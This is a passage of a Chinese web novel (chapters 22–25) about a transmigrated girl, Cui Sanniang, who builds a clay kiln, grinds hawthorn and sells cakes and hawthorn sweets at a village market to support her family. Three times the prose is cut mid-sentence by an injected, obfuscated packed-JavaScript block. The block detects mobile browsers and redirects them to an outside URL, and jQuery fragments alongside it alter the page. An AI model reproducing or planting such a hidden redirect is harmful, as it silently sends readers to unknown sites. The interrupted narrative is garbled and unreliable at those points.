买卖要长久的做下去,气味、行踪瞒不过村里的人,崔三娘也没想隐瞒,大方的点头:“我要做个泥窑。”
说着把泥窑的规模和造型同各位伙伴大致说了说。
“工程量不小,需要力气。”崔云南看看几位瘦弱的堂妹,又睨了细胳膊细腿的柳木森一眼,“我帮你们吧。”
反正他除了放羊,也没什么正经事要做。
有免费的壮劳力可以用,崔三娘自然不会拒绝,忙笑着应好。
崔四娘崔五娘临时调岗,回山坡上守着母羊啃草,剩下崔三娘、崔云南、柳木森开始处理黏土块。
未穿越前,崔三娘是个怨气深重的社畜,在城市呆久了,十分向往惬意自在的农家生活,所以一放假就往乡下跑,曾和朋友在老家的稻田里垒过几次简易泥窑,也幸好有这些经验,她对垒泥窑的过程十分清楚。
第一步,便要将黏土块捣碎,把里头的杂质去掉。
这一步纯属于力气活,崔三娘示范几次后,将这活儿丢给了崔云南和柳木森,然后去灶房提了一壶白开水,取了两个泥碗,又端出昨日办寿宴剩的一些香糖果子,让无偿劳动的二位渴了饿了时吃。
至于她,得赶紧为黏土找“骨料”,还得找个打框架的内衬。
22. 第 22 章
小院的空地上,崔云南和柳木森手握鹅卵石,哼哧哼哧的砸着黏土块,一边砸,一边将里面的石子、枯树枝挑出来扔在一旁。
一开始,柳木森和崔云南泾渭分明,一人一边,只顾埋头干活,谁也不理谁,而且都卯着劲儿,比拼谁砸的又快又多,没多久,二人脑门子上就渗出了汗珠。
崔老太太在屋里听了一耳朵,知道崔三娘捣鼓这些土块是要做窑,她不大懂,不过近日三娘莫名开了窍,给家里开了财路,崔老太太现在对三娘要做的事,向来鼎力支持。
她哄好了安安,将小家伙塞给桂氏抱着,走到院里张罗:“你俩悠着点劲儿,休息会,过来喝点水。”
崔云南和柳木森也累了,接过崔老太太递来的碗,仰头咕嘟痛饮。
“喂,听说你很会捏泥人?”崔云南端着空碗先开口。
柳木森点头:“是啊。”
“跟谁学的?”崔云南撂下空碗。
柳木森也将碗放下:“我家的厨子。”
见柳家这小子有问必答,还算实在,而且刚才一起做活儿,也算有点交集了,崔云南吞吞口水,抠了抠指缝:“那,有空我和你学,怎么样?”
柳木森有些意外:“没问题。”言罢笑着添一句,“等泥窑做完,我就教你。”
一番闲聊后,两个人渐渐熟稔,再次开工的时已经蹲到了一起,互相配合着捶打土块,崔三娘提着河沙还有一捆干草回到家时,两个人正凑堆说话。
原来柳木森迫不及待,和崔云南说起捏泥人的要点和诀窍来。崔三娘笑眯眯调侃:“柳先生这么快就开课了,怎么不等我。”
崔三娘很喜欢黏土,只是还未尝试过就来到了这个世界,想来这捏泥人和捏黏土也差不多嘛。
不过,正事要紧,这关于泥人的话题不得不暂时抛开,他们得和泥了。
崔三娘先用水将基本成粉末状的黏土淋湿,接着掺入沙子、稻草,一点点重复加水、搅拌,这步骤与和面很相似,极考验耐性,在不断的重复下,黏土终于变得柔软而有韧性。
“不错,可以开始下一步了。”
崔三娘在院里选了块平整背风的地方,然后领着崔云南和柳木森去河边,将她看中的一块又平又光滑的大青石抬回来,安置在空地上。
一切准备就绪,接下来就要正式制作泥窑了。
崔三娘和两个帮手简略说了流程,三人齐动手,先在石板上用黏土做了个三四寸厚的窑床,崔三娘又跑崔二郎屋里,从他床下扒出他的背篓,倒扣在窑床上,当做内衬。
“啪啪。”“砰砰。”
拍打泥土的声音不断的在崔家小院中回响,一个个泥团被手掌拍瘪,覆在竹篓上,干巴巴的竹篓生出了泥做的血肉,院里很快出现一个高一尺半,宽两尺,圆圆扁扁的黑家伙,像个倒扣的黑色大箩筐。
三人聚精会神,个个干得起劲,待日上中空,终于做完了最后一步后。崔三娘直腰扭了扭酸痛的部位:“太好了,可以收工了。”
柳四娘柳五娘两个也赶着羊回了家。
崔老太太从灶间探出头:“云南、木森,把你们都累着了,就在在我家吃晌午吧,我都做好饭了。”
这饭菜还算丰富,有昨日剩的炸肉丸,崔老太太顾念俩孩子为自家出了力气,又蒸了蛋羹,配上点酱菜,一罐杂粮粥,小木桌上摆得满当当。
桂氏在屋里吃她的月子餐,依旧是鸡汤加白面馒头,如今桂氏顿顿都吃鸡,晌午吃,夜里吃,一连好几日,吃得她一闻见鸡汤味就发腻。
“三娘,你过来。”
用了午饭,崔云南和柳木森家去了,崔三娘准备歇晌,路过西厢时,桂氏一个劲朝她招手。
崔三娘进屋后,桂氏又叫她掩上门。
“嫂子,什么事?”崔三娘见这阵仗,怪忐忑的,还以为她要问崔大郎的事。
今日一早,崔大郎去柳家借马,又进了城。
“给。”桂氏笑着端出一只碗,里面是温热的鸡汤鸡肉,“赶快吃。”
从小安安诞生,崔家隔日杀一只鸡给桂氏补身起,崔老太太就将话点明,鸡汤鸡肉只能桂氏吃,桂氏吃不完的想怎么处置,则由她的便,家里其他人不能眼馋。
僧多粥少,这是无奈之举。
崔三娘嗅着香醇的鸡汤味,连连摇头:“嫂子的月子餐,我再馋也不能吃。”
桂氏倚在床沿上,抱着小安安轻轻拍打安抚:“得了,快吃,别废话。”
崔三娘咽了下口水,不是她不争气,实在是原身大病初愈,太缺乏营养和油水了,何况再推拒下去叫家里其他人见了,反倒不好,于是三下五除二,将一碗鸡汤鸡肉解决干净。
“嫂子,下回进城,我给你捎好吃的。”
桂氏笑着点点头。
-
下午,崔大郎还没回家,崔三娘又去二爷爷家,把躺在床上呼呼大睡的崔云南叫醒。
崔云南正做吃大席的美梦,眼瞅着又肥又糯的肘子肉要吃到嘴,就被崔三娘喂喂叫着拍醒了。
崔云南怅然有失:“啥事?”
“我大哥还没回来,你下午有事不?若得空闲,陪我们上老杜家一趟吧。”
老杜家做酱菜、酿私酒,还榨油磨面,崔三娘准备借老杜家的磨具,将那一堆山楂干都磨成粉。
二爷爷家有好几个壮劳力,崔云南是家中老小,需要他干的活儿很少,可整日闲晃总被娘骂,因此乐得寻由头出去:“没问题。”
崔三娘在二爷爷家的院子里等了半刻,帮婶子晾了才洗好的被褥。
崔云南在这空当里找出了家里农忙时驮粮的两轮车,将车推到崔家小院,把几大口袋山楂干抬上车,一行几人沿着村路往老杜家去。
老杜夫妇俩上了年纪,都是知天命之年,但都脸色红润,筋骨强健,一看就是天生精力好体力也好的人,难怪能在乡野凭本事置下一番家业,崔三娘心生佩服。
她轻快的喊了一嗓:“杜叔,杜婶,借你们的石磨用用。”
杜婶正在腌酱菜,抬头看来:“成啊,十文钱,石磨在后院,你们自己去吧。”
其实村里不少人家有石磨,崔家原本也有,坏了之后没顾上修理,再说平常人家的都是小石磨,要手推,还要不断的往石磨里倒原料,累人的紧,而老杜家有大石磨,用驴来拉动,花小钱省大气力,崔三娘觉得很划算。
“吱嘎。”“吱嘎。”
老杜家后院里,黑驴眼前蒙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480628|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着布,迈着蹄子转圈圈,与此同时,底石和磨盘不断的转动摩擦,发出规律的声响。
这堆山楂磨完要些时间,崔三娘崔云南闲着没事,就有一搭没一搭帮杜婶处理酱菜。
老杜家的酱菜口味真算不得出色,但胜在品种齐全,价格实惠,萝卜、芥菜、黄瓜、豆角、黄豆、豆豉,咸酸香辣,就没他家不做的。
看看老杜家的青砖房,又看看杜婶耳上的金坠子,崔三娘心中充满干劲,这就是她在这世界上的榜样呐。
正准备和杜婶说说话,取点经,一旁切萝卜的崔云南鬼鬼祟祟开口:“三娘,下回你啥时进城?”
崔三娘看他一眼:“明天是赶集日,我估计后天,或大后日会进城。”
崔云南笑起来:“那你帮我买支簪子,要桃花的。”
这……有情况呐。
崔三娘抿嘴直乐,将崔云南看得很不好意思:“行还是不行,你倒是说句话。”
“冲我俩的关系,当然不成问题。”崔三娘不逗他了,“只是,你为啥不自己去?城里不仅有簪子,手帕香粉也多得是,反正现在农活不多,不如自己去选。”
崔云南气哼哼:“我倒想进城,可自从你二哥偷跑去投军后,家里就不准我随便进城,不仅不能进城,连出个村都盯着我!”
这真是,城门失火,殃及池鱼。
崔三娘干咳一声:“你就说和我们一块去,我会负责看着你,绝不赴二哥后尘。”
崔云南想了想:“昨儿回家后,我娘我奶都夸你,跟着你进城,她们应该不会拦着,我夜晚回去说说看。”
“一定成的!”崔三娘说着站起来,“驴儿不走了,我们看看去。”
时间一晃到了日暮时分,崔三娘终于将山楂粉全部处理妥帖,装到了一只大陶瓮里,搁到了崔二郎的床下。
眼瞅着天就要黑了,崔云南又留在家里吃了暮食,这才赶着他的羊往家走。
因第二日要赶集,崔三娘要做的吃食多,天一抹黑,她就睡下了。
五更时分,村里一片寂然,崔三娘就摸黑起床,穿上外杉,点了盏油灯,预备往灶间去。
路过崔老太太和林氏床前时,她俩也跟着起了身,三人推开房门,一阵寒风呼呼灌入室内,冷得人打抖,借着朦胧的月光,可以见到院里又落满了枯叶。
“真是一阵风一阵寒呐。”崔老太太搓搓手,对林氏道,“趁着天还没彻底变凉,咱们得勤快上山,把过冬的柴火备足了。”
崔三娘裹紧衣裳:“奶奶,娘,咱们快到灶间去。”
今日除去吴三婆婆要的饼,崔三娘还要多做三十来个拿到集市上卖,另外做上两斤南瓜饼,还要做一样新鲜吃食,萝卜丝饼。
这些东西零零总总加起来,费时费工,三人得赶紧忙碌起来,才能赶在清晨时分出发做买卖。
崔老太太感慨:“我是累惯了的,三娘正是缺觉的时候,等回到了集上,我和你娘卖东西,你在旁边眯一会吧。”
崔三娘睡得早,虽半夜起床,但睡足了八个小时,倒还好。
“我精神着呢,一想到挣钱,我就更加精神!”
“变小财迷了。”崔老太太一乐呵,“不过呢,我也是!”
23. 第 23 章
一阵鸡鸣后,崔四娘崔五娘终于醒来,两人翻身坐起,才发现崔三娘的被窝早空了。
“三姐,昨夜不是说好,我帮着烧火嘛。”崔五娘嚷着跑进屋。
灶间里,灶膛里的火已灭了,借着余温在烘一壶热水,酱香饼、南瓜饼还有新品萝卜丝饼都已做好。
崔三娘从灶灰里扒出几个烤白薯,笑眯眯地:“也不知谁睡得那么香,还打呼噜,我怎么忍心叫醒。”
“哎呀。”崔五娘撅起嘴,“三姐你别骗人,我才不打呼呢。”
正说着,崔四娘也进来了,手里拿着装饼的箩筐,还有做盖子兼保温的小褥子,崔四娘打个呵欠:“五妹别贫嘴了,三姐心疼咱俩才不叫我们的,来,过来搭把手,和我一起将饼放到筐里。”
崔四娘心思细腻,善于学习,崔三娘很放心将一些琐碎活儿丢给她,只提醒一句:“每样隔开放,别串了滋味。”
这时灶上的水壶冒出袅袅热气,水本就烧开过,这时只是加温,里面放了干姜片和一些盐,算是非常简易的姜汤,早晨露水重,喝点姜汤水可以驱寒气防感冒。
崔三娘转身从碗柜里取了几只泥碗,给大家都倒了一碗。
今晨的早饭便是煨红薯加姜汤了,崔四娘崔五娘俩个忙碌完,也坐过来和崔三娘崔老太太等人一块儿吃。
崔三娘很喜欢吃烤红薯,可惜村里的红薯味道一般,不够甜,也不知这世界有不有那种又软又糯,烤完后香喷喷的蜜薯,要是有,她就能试着做烤蜜薯卖。
这时院外响起一阵脚步声,紧接着有人敲门:“开门呐。”
是崔云南的声音。
时间还早,天只蒙蒙亮,崔家的院门还没拉开,崔四娘握着半截红薯去开院门,不一会儿人回来了,捧着一大陶罐子再次出去。
“云南哥给了些羊奶。”崔四娘眨巴着眼说道。
崔老太太有些犯愁:“这羊奶咋喝?要不给小安喝吧。”
黄石村没有人养羊,更没人喝过羊奶,崔三娘急忙拦住:“生羊奶不能随便喝。”
一屋人都瞧着崔三娘,崔三娘一咬牙,再度往崔二郎身上扣锅:“二哥和我说的!他说西北那边很多人养羊,每天都能挤出好几桶奶,但那里的人都要把奶煮沸了才会喝,否则会拉肚子,生病。”
“哎呦呦。”崔老太太一拍大腿,“难怪前日你二爷爷说最近总拉肚子,估计就是生羊奶喝多了。”
说罢催着崔四娘赶紧追上崔云南,把这信儿告诉他。
今日换林氏留守在家,崔三娘和崔老太太带上四娘五娘一块儿去集市上,临出发前,崔三娘挽着林氏的手叮嘱:“娘,我们走后,你赶紧把这罐奶滤一滤,然后大火煮沸了,不过,千万别给小安喝。”
小婴儿抵抗力弱,就算烧沸了,还是不喝为宜。
林氏笑着说知道:“桂娘奶水足,犯不着给孩子喝羊奶。”
正说着话,崔大郎推门进来,昨夜他没回家,不知是不是整宿没睡,眼睛下方乌青一片,但精神瞧着很好,手里还牵着从柳家借的马。
“三娘,过来。”崔大郎冲崔三娘招手。
崔三娘走近才发现马背上还驮着两个小包袱,崔大郎解下来递给她,原来里面是稻米和一些盐、糖,还有二十来斤白面:“给你的。”
“大哥,你发禄米啦。”崔三娘惊喜道。
崔大郎点点头,随后开口:“你上次给我尝的山楂糕还有吗?”
每回做新吃食,崔三娘都会给家里人尝点,崔三娘忙点头:“有呢。”
崔大郎露出笑容:“闻这满院子的香味,那种酱香饼也做了吧?”
“今天要去集上,各色东西都做了。”崔三娘提着包袱,冲大哥眨眨眼,“你就直说吧,要干啥?”
崔大郎将马栓在院里的树上,口中道:“就是我上次和你说过的曹书办,最近胃口愈发差了,你做的饼很合他胃口,下午我还进城,顺便捎带些给他。”
崔大郎是个极顾家的人,往日除了去衙门公干,剩下的时间都留给了家人。
可在嫂子刚生产完的节骨眼上,他却早出晚归,甚至不归,很有些反常,崔三娘直觉大哥近日在忙大事,而且是那种非立即做不可的大事。
是什么呢?崔三娘猜不出,反正一定和衙门里的人事有关。
她不好问太多,转身包了些饼和山楂糕递给崔大郎,低声道:“嫂子他们还睡着呢,大哥,你待会进屋轻一些,别吵醒他们。”
崔大郎点点头。
-
日头一出,耀得河面波光粼粼,小粉蝶在草丛间飞舞,集市上熙熙攘攘,一派热闹景象。
“爽口多汁的萝卜丝饼,两文一个。”
“咸香可口的酱香饼,还热乎的!”
“黄金糕,金灿灿甜滋滋的黄金糕!”
崔三娘等人分作三派,一人叫卖一种吃食,皆挎着竹篮子放声吆喝。
集市上来来往往的,基本都是附近村庄的村民,有人上次就买过崔三娘做的吃食,老远听见吆喝声,就目的明确的走到面前:“给我来俩,上次那饼买回家,我孙儿可喜欢了。”
摸出铜钱付账时见到南瓜饼和萝卜丝饼,眼睛一亮:“这两样闻着很香,也给我一样来两个吧。”
崔三娘很高兴,用荷叶将饼包好,还给这位老主顾送了一片山楂:“开胃的,给您尝尝。”
三人在原地叫卖一会,过上小半个时辰又换个位置,一个时辰下来,筐里的饼去了三分之二。
“咱们去那边歇一会吧。”崔三娘觉得口有些渴,腿也有点酸。
崔老太太也有些累了,连声说好。
大家坐到一边的树下,拿出装水的葫芦大口喝水。
如今快到正午了,别看集市上人还是很多,但很快人群便会散去,人散了,饼就不好卖了,而且,经过一上午的叫卖,筐里剩下的饼早已凉透,饼一凉,口味就会打折扣,更不好卖。
崔三娘掏出几块酱香饼给家人分着吃:“待会得降价了。”
崔老太太听得肉疼:“咱的饼多好,非得降价卖呐。”
崔三娘无奈地一耸肩,没办法,做吃食就是卖口味卖新鲜,若有加热的设备,甚至能边做边卖,那才
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480629|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
好呢。
这头崔家几人正歇息饮水,路的那头来了几顶小轿,轿子里下来几个公子哥打扮的人,一路走走逛逛,显然是头回来集上,看什么都稀奇。
“这里卖的都是破烂货,还一股鸡屎味儿。”
“就是就是,甄甄你带我们来的什么地方,还说热闹极了,我看一点耍头都没有。”
那群公子哥议论着走近,崔三娘将水壶放下,循声扫了一眼,见打头的一位紫裳公子面带愠气,大概就是被埋怨的甄甄。
咦,崔三娘的目光在甄甄小公子的脸和耳垂上逡巡,随后抿唇一乐,这分明是位女扮男装的小姑娘。
“真无聊,甄甄,害我们跟你跑二十多里路出城,中午得你请客。”
“附议,附议!”
眼见他们一群人越走越近,崔三娘清清嗓子,高声吆喝:“酸甜可口的山楂糕,卖山楂糕呦,连李锦记糕饼铺都没有的可口糕点呦——”
她声音即嘹亮又清脆,立即吸引了那群小公子的注意。
“好大的口气,连李锦记都没有得卖?”一圆脸小公子对同伴道。
李锦记是京城有名的老字号,据说连宫里的贵人都常去李家买糕点。
圆脸小公子跃跃欲试,被身边一长脸公子泼了盆冷水:“听她胡诌呢,无非是些又甜又腻的乡下吃食,有什么意思,白送我都不要!”
崔老太太听罢气得直哼哼,崔四娘崔五娘也拿眼睛去瞪那长脸公子。
崔三娘倒不生气,这群小公子出身富裕,娇宠着长大的孩子,难免说出不中听的话,与其一般见识,不如想办法掏空他们的荷包。
“这位公子,你有兴趣尝尝吗?”崔三娘笑着对那位叫甄甄,即着一袭紫裳,男扮女装的“公子”问道。
才受了埋怨,正窝着一肚子闷气,而且方才就是长脸公子埋怨的最起劲儿,现在他说这山楂糕不好吃,甄甄一昂头,她偏要说好吃。
甄甄点头:“行啊,给我看看你的糕。”
来这赶集的,多是附近的农人和镇上居民,虽然有的家境富裕,但山楂糕的价格在集市上实在显得有些贵,因此崔三娘只带了半斤,用手帕抱着搁在箩筐里。
“你瞧。”崔三娘捧起手帕掀开,露出了里面的山楂糕。
“哇。”甄甄原是想于同伴置气,可这山楂糕着实叫她惊喜,只见红色的糕体被捏成了各种花朵的形状,两层相叠,中间还加了层深色的类似糖浆和果酱的东西,花朵状的糕还用干净的小木棍穿着,乍看像泥人,又有点糖葫芦的意思。
真是又新颖又漂亮。
前两日顾老大夫托人来送了口信,说山楂糕在他的医馆中卖得很好,让崔三娘长期供应,这也难怪,杜太医医院开在繁华的正街上,顾老大夫本人又是儿科圣手,能找他瞧病的,富贵人家占多数,因此价格偏贵的山楂糕在他的医馆中极畅销。
崔三娘想着孩子都喜欢稀罕物,就灵机一动,将山楂糕改良做成了各种不同造型,还熬了果酱做夹心,最后插上小棍,吃着即方便又干净。
甄甄有些迫不及待了:“这糕怎么卖?”
24. 第 24 章
“论支卖,一支卖十文。”
改良后的山楂糕所耗工费大大增加,价格自然也要提高,两支大约一两,一支十文的价钱,比之前卖给顾老大夫贵了一倍。
崔三娘自认价格合理公道,并拿起一支递给甄甄:“请你尝一个。”
甄甄正要伸手去接,刚才说话的圆脸小公子捷足先登,一把将山楂糕抢过,咬了一口后大喊:“真好吃!我全要了!”
“这是人家给我尝的,你凭什么抢!”甄甄又气红了脸,对崔三娘道,“我先来的,我都要了。”
这里一共就十一只,除去给圆脸小公子抢去的那个,帕子里还有十支,崔三娘喜得一挑眉:“没问题。”
接着一手交钱一手交货,一陌一百文的铜钱顺利落入崔三娘荷包,甄甄迫不及待地拿出一支梅花形的山楂糕咬了一口,惊喜道:“当真好吃。”
随后跟两位没有惹怒过她的同伴分享了三只。
这时圆脸小公子三两口已将手上拿支吃没了,咂咂嘴,感觉自己还没吃过瘾,凑到甄甄面前:“我俩可是好哥们儿,甄甄,你再给我一支呗。”
见同伴们吃得香,那长脸小公子也凑上前,跃跃欲试。
甄甄气鼓鼓一哼:“给谁也不给你俩!”
这一幕惹得崔家几个都笑了,崔三娘也笑,对刚才一举清空自己库存的甄甄低声道:“每逢赶集日我都会来,城里的杜太医医馆也有卖,今后若还想吃,记得来寻我。”
说着与奶奶姊妹们提上篮子和竹箩,卖剩下的饼子去了。
崔五娘觉得解气:“活该他们想吃吃不着。”
“就是。”崔四娘挺起胸膛,“谁叫他们说三姐做的东西不好,三姐做的东西样样都好吃。”
崔老太太笑罢,心头却掠过一阵酸涩:“他们与你们年岁差不多,可叹你们还是孩子,就要跟着起早贪黑做营生养活自己,不过,你们都是好样的。”
崔三娘内心很平静,人各有命,怨天尤人多无聊,她接着崔老太太的话:“奶奶也是好样的!”
日头越升越高了,气温也随之升高,几个人都脱了外衫,遇见两位主顾,半价清空了最后几张饼后,崔三娘瞅见一个露天馄饨摊,眼睛一亮:“走,去吃馄饨。”
崔老太太上次在城里和崔三娘吃过面,就估摸到她要在集上吃饱了再回家,别说,饱着肚子赶路,与饿着肚皮往家赶,那滋味就是不一样,舒坦。
人在世上走一遭,苦啊累的,不就图个舒坦,崔老太太也看开了,必要的时候,是需要享受享受,否则活着不带劲。
崔三娘已走到了摊位前:“店家,都有什么口味的馄饨?”
店家是夫妻俩人,四十多岁的模样,摊位旁边还有个刚学会走路的小娃娃在玩筷子,大概是夫妻俩的孙儿。
这时候集市上人流已明显减少,夫妻俩已在收拾东西,看样子准备要收摊了,没料这时候还有客人,男店家忙往炉子里添了几块炭火,一边用扇子扇火一边笑答:“只有猪肉馅的了,大碗的二十个八文钱,小碗十二个六文钱。”
崔三娘深吸一口气,这馄饨的汤底带着浓浓的骨香气,奶白奶白,飘着亮晶晶的油花,十分撩人:“来四碗大碗的。”
“三姐,我就不吃了。”刚开始听说要吃馄饨,崔四娘还挺幸福,长到九岁,她还没在外面吃过馄饨,可一听说价格,立刻打了退堂鼓,八文钱能买半斤面,一包盐,能买好多东西,馄饨虽然好吃,忍忍就过去了。
崔五娘原本也极兴奋,听四娘说不吃,一愣,随即咬着唇:“我……我也不吃了。”
穷人家的娃娃,总是最早体会生活的酸楚,崔三娘叹口气,蹲下身看两个妹妹:“你们是真不想吃,还是心疼钱?”
崔四娘低声:“有点贵。”
“不贵。”崔三娘话声干脆,又拍拍怀中的荷包,“何况我有钱,就是一人吃两碗,咱也吃得起。”
崔三娘语重心长:“任何时候,有我一口吃的,就绝不会短了你们的,人亦要往前看,一碗八文的馄饨,咱凭啥不吃?怕吃了挣不回那份钱?才不可能呢,别忘了阿姐有多会做吃食,咱们手艺好,一家人团结,迟早要挣大钱的嘛。”
听见挣大钱三个字,崔四娘崔五娘皆眼睛一亮。
在过往的日子里,从没人告诉过她们,将来要挣大钱,或者说,可以朝挣大钱的方向去努力。
“嗯!三姐说得对。”崔四娘用力的点头。
崔五娘蹦了一下:“等我们挣了大钱,就能天天吃馄饨啦。”
崔老太太将他们的竹筐、竹篮安置在摊位一角,笑眯眯的:“别蹦跶了,过来坐。”
一家人围着张四方桌坐下,托腮等候片刻,四碗热气腾腾,鲜香味十足的骨汤鲜肉馄饨端了上来。
店家用的是棕红色的敞口陶碗,碗中盛满乳白的骨汤,薄皮大馅的馄饨在汤水中浮沉,一搓碧绿的葱丝点缀期上,光是瞧这画面,就勾人馋虫,何况崔家四人在忙了一上午,早已饥肠辘辘。
崔三娘用木勺舀起一枚馄饨,透过馄饨皮,可隐约窥见肉馅的粉色,她轻吹了几口气,这才小心的将馄饨送入口中,皮已煮得软烂,轻轻一抿就破了,轻嚼两下,能感觉到馅料很紧实,猪肉的香味浓郁,和着骨汤的鲜,一口一个,简直叫人欲罢不能。
“真不错。”崔三娘没想到这对夫妻的手艺那么好,“汤和馅都极好。”
女摊主端来一碟咸菜给他们解腻,自豪接话:“我们做这一行都二十多年了。”
崔三娘喝了几口汤:“还有鲜馄饨吗?”
男摊主在火炉前忙碌,探头接话:“有,大约还有两份大碗的量。”
“我买了。”崔三娘难得吃到这样好的馄饨,又想到无论是月子中的桂氏,还是三岁的崔家兴,都可以吃,便花八文钱,买下了摊上最后两份鲜馄饨。
-
夜里,崔三娘才顾上处理白日林氏煮沸过的羊奶。
原想做乳酪,奶冻等小吃,可实在分身乏术,第
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480630|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二日要进城,需得早睡,且还要做一锅山楂糕,羊奶便只重新加热了一遍,加了些砂糖,一家人各分一大杯,围坐在堂屋里喝。
但每个人脸上,都带着幸福的神气,因为今日崔大郎发禄银了。
崔家的家计,一惯由崔老太太掌管,但近日崔三娘开始做买卖,又要花钱买材料,一进一出,手头上钱来钱往的,崔老太太便没管她手中那份钱。
但崔家到底没分家,且天慢慢就要变冷了,要添被褥衣裳,木炭盐油,还要还给崔三娘瞧病欠的外债,所以在崔大郎发碌银这日,一家子齐整坐下,要盘一盘家计。
为免外人打扰,崔老太太早就栓了院门,堂屋的门也合上了。
桌上点着油灯,崔三娘将荷包里的钱一股脑倒出来:“这里一共有一千二百多文钱。”
望着满桌的铜钱,崔家人都“呀”了一声,崔三娘十日前才开始做吃食买卖,竟然已挣了这么多。
崔大郎在衙门里当值一个月,刨去禄米,禄银是一千五百文,这个月巡检司破了桩大案,得了上峰奖赏,摊到崔大郎头上是三百文,他掏出一个布袋,淡笑道:“这里是一千八百文。”
接着手指摩挲两下,从腰间荷包里摸出两块碎银:“这里还有二两银子。”
“呀。”崔家诸人再次发出惊叹。
崔大郎喉结滑动一下:“是上面给的奖银。”
这真是开天辟地头一遭,崔大郎在巡检司衙门里这几年,小鞋穿了不少,是头回得单独的赏,且足足有二两银子!崔老太太喜不自胜,急忙拿起银子看,看罢后又递给崔三娘。
崔三娘觉得很稀奇,她来到这个世界后,还是第一次摸到银子,这银子的成色瞧起来和后世差不太多,就是颜色更暗沉些,银块应该是从官造的银锭上剪下来的,有一角还带着铭文。
这手握银子的感觉,可真踏实,崔三娘掂了掂,虽然份量很轻,但毕竟是头一遭,感觉简直不要太好。
桂氏抱着小安安坐在一旁,她下午就知道了这事,但脸上还是抑制不住带上了笑。
一家子都很高兴和兴奋,因此谁也没留意崔大郎垂下眼睑,眼底闪过一丝晦暗。
这边崔老太太也掏出荷包:“我这里的没有大郎和三娘的多,有三百多文。”
崔老太太荷包里的钱,都是偶尔去集上卖鸡蛋、瓜菜,有时去山上摘些野核桃野山货卖得的钱。
“大郎,桂娘,这二两银子你们不用交到公中来,拿去,还钱吧。”
提到还钱二字,一家子都有些尴尬,尤其是桂氏,脸色很难看,显然又想到那日父亲翻脸,在新生的小外孙女面前,和女儿女婿逼债的一幕,太难堪了。
桂氏咬了咬唇:良久才平复好心情:“好,谢谢奶奶。”
“谢什么,本就是大郎凭本事挣的钱。”崔老太太安抚般的轻拍桂氏手背。
崔三娘清清嗓,打破屋里略微凝滞的气氛:“我们家现在一共有三千三百多文钱啦,诸位准备怎么花?”
25. 第25章
谁不喜欢花钱呢,崔三娘也不例外。
崔老太太笑着望向大孙女:“你是个有主意的,恐怕早想好要怎么花了,先听你说。”
“那我就不客气了。”崔三娘接过话头,“要我说呢,咱第一件该做的事,是要还欠债,为了我的病,家里欠了亲戚邻里大约八两银子,我们先拿出一两,各家还些,另取一两多银子,到城里扯布买线,给大家做件过冬的衣裳,剩下几百文,买做米面油糖还有调料,大家觉着如何?”
还债,备食物原料等,崔老太太没意见,可做冬衣,还一人一件?崔老太太觉得奢侈。
“家里原有两件旧的,再给你添件新的,这冬凑合着能过。”
崔三娘就知道老太太会这样说,毕竟,老太太从小到大,冬日都是在家里猫着过的,她冷惯了,熬惯了,从没有过一个舒服温暖的冬天,也不敢奢望。
“不成,那旧棉衣都硬邦邦得像大石头了,一点也不保暖,我正想拆了做成垫床的褥子呢,就一人一件,先做单袄子,等再赚一笔,就买棉花做棉内胆,和单袄子穿一块,过冬绝对暖和。”崔三娘还没说完,她还打算做三床新棉被,怕吓着老太太,只能吞肚里。
崔老太太难得的对崔三娘蹙眉,她语气严厉:“三娘!咱好不容易赚了些钱,不可这般浪费!”
见场面有些紧张,林氏忙出来打圆场:“孩子一时嘴快,说着玩儿,心里是知道好好过日子的。”
崔三娘被林氏护在身后,崔老太太若真发起脾气,揍人可疼了,原身从前被揍过几回,记忆中还残存着柴火棍打在身上的疼痛滋味。
一阵苦涩泛上心头,崔三娘攀住林氏的肩膀:“娘,我是大人了,您放心,奶奶不会揍我。”
崔老太太朝崔三娘瞪一眼:“谁说不揍?惹毛了照样打。”
崔三娘哭笑不得:“奶奶,就算要揍我,那也得我犯错了才行,那我问问您,想过一个舒服温暖的冬天,我有错吗?想叫家人过得舒坦,我有错吗?”
崔老太太眉头紧锁:“这当然没错,可——”
“可什么呢?就因为我们是穷苦人家,过惯了苦日子,就该祖祖辈辈一直苦下去了?”崔三娘挺挺肩,“奶奶别忘了,咱们祖上还出过县太爷,出过县太爷的人家,入冬了做件衣裳,算什么浪费呀。”
一席话把崔老太太说愣住,崔大郎向崔三娘投去赞许的目光:“三娘说得好,也有志气!”
崔老太太怔然片刻,身子猛的一弯,捶着膝盖叹息:“老了老了,我刚才是在做什么呀,三娘要给大家备冬衣,多好的事,我怎么一个劲儿的阻挠。”
